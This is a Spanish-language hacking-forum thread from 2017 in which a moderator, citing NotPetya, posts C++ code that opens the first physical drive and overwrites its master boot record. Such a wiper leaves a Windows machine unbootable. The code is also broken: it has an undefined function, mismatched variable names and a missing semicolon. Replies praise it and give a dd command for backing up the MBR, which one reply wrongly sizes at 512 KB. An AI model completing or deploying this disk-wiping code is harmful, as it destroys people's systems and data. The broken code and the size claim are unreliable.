Reescribiendo el Boot Master Record

  • 4 Respuestas
  • 7338 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado sadfud

  • *
  • Moderator
  • Mensajes: 209
  • Actividad:
    0%
  • Actividad:
    0%
  • Country: cl
  • Reputación 10
  • Skype: SadFud75
    • Ver Perfil
    • Blog

Reescribiendo el Boot Master Record

  • en: Julio 06, 2017, 02:42:53 pm

Buenas underc0deanos,

Supongo que todo el mundo ha visto las noticias de NotPetya, y si alguno ha leído los análisis técnicos sabrá que era un wiper y no un ransomware, debido a que reescribe el sector de arranque del disco duro dejando el pc inservible una vez se haya reiniciado/apagado.

A continuación dejo un código que tenia guardado sobre como hacer esto.

Espero que sea útil para poder estudiarlo.
 
Código: (cpp) [Seleccionar]
/*
  Rewrite boot master record code sample
  Credits to 0memory
*/
#include <windows.h>
#include <iostream>

using namespace std;

#define MBR_SIZE 512
int main(int argc, char const *argv[]) {
  DWORD write;
  char mbrdata[MBR_SIZE];
  Underc0de(&mbrData, (sizeof mbrdata));

  HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)
  if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE){
    cout << "MBR overwritten" << endl;
    Sleep(5000);
    Exitprocess(0);
  } else {
    cout << "MBR not overwritten" << endl;
    Sleep(5000);
    Exitprocess(0);
  }
  CloseHandle(MasterBootRecord);
  return 0;
}

Un saludo
« Última modificación: Julio 06, 2017, 03:00:31 pm por Gabriela »
Si necesitas ayuda, no dudes en mandar MP

Desconectado RuidosoBSD

  • *
  • Underc0der
  • Mensajes: 183
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Email

Re:Reescribiendo el Boot Master Record

  • en: Julio 06, 2017, 06:19:07 pm
Gracias por el aporte. Puede resolverse con un disco de recuperacion ¿no?

Desconectado PikachuDorado

  • *
  • Ex-Staff
  • *****
  • Mensajes: 370
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 1
  • Im just a Pikachu
    • Ver Perfil
    • Soporte Ava

Re:Reescribiendo el Boot Master Record

  • en: Julio 12, 2017, 07:44:18 am
Estas cada dia mas violento @sadfud sos un crack! ♥
Pikaa~


Desconectado animanegra

  • *
  • Moderador
  • Mensajes: 323
  • Actividad:
    10%
  • Actividad:
    10%
  • Country: 00
  • Reputación 12
    • Ver Perfil

Re:Reescribiendo el Boot Master Record

  • en: Julio 12, 2017, 06:05:57 pm
El MBR son los primero 512 KB del disco duro (recordarme la dimension si estoy confundido), lo mas sencillo es hacer lo que se hacia antes cuando instalar linux y windows era problematico. Haces un:
dd if=/dev/sda of=copiaMBR bs=512 count=1
y asi tienes una copia del MBR por si las moscas. ^^
Para restaurarla poner el if y el of en sentido inverso y listos.

El petya y esos ¿Solo joden el MBR?

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Desconectado RuidosoBSD

  • *
  • Underc0der
  • Mensajes: 183
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Email

Re:Reescribiendo el Boot Master Record

  • en: Julio 13, 2017, 05:24:43 am
El petya y esos ¿Solo joden el MBR?
No, es una de las características pero no la única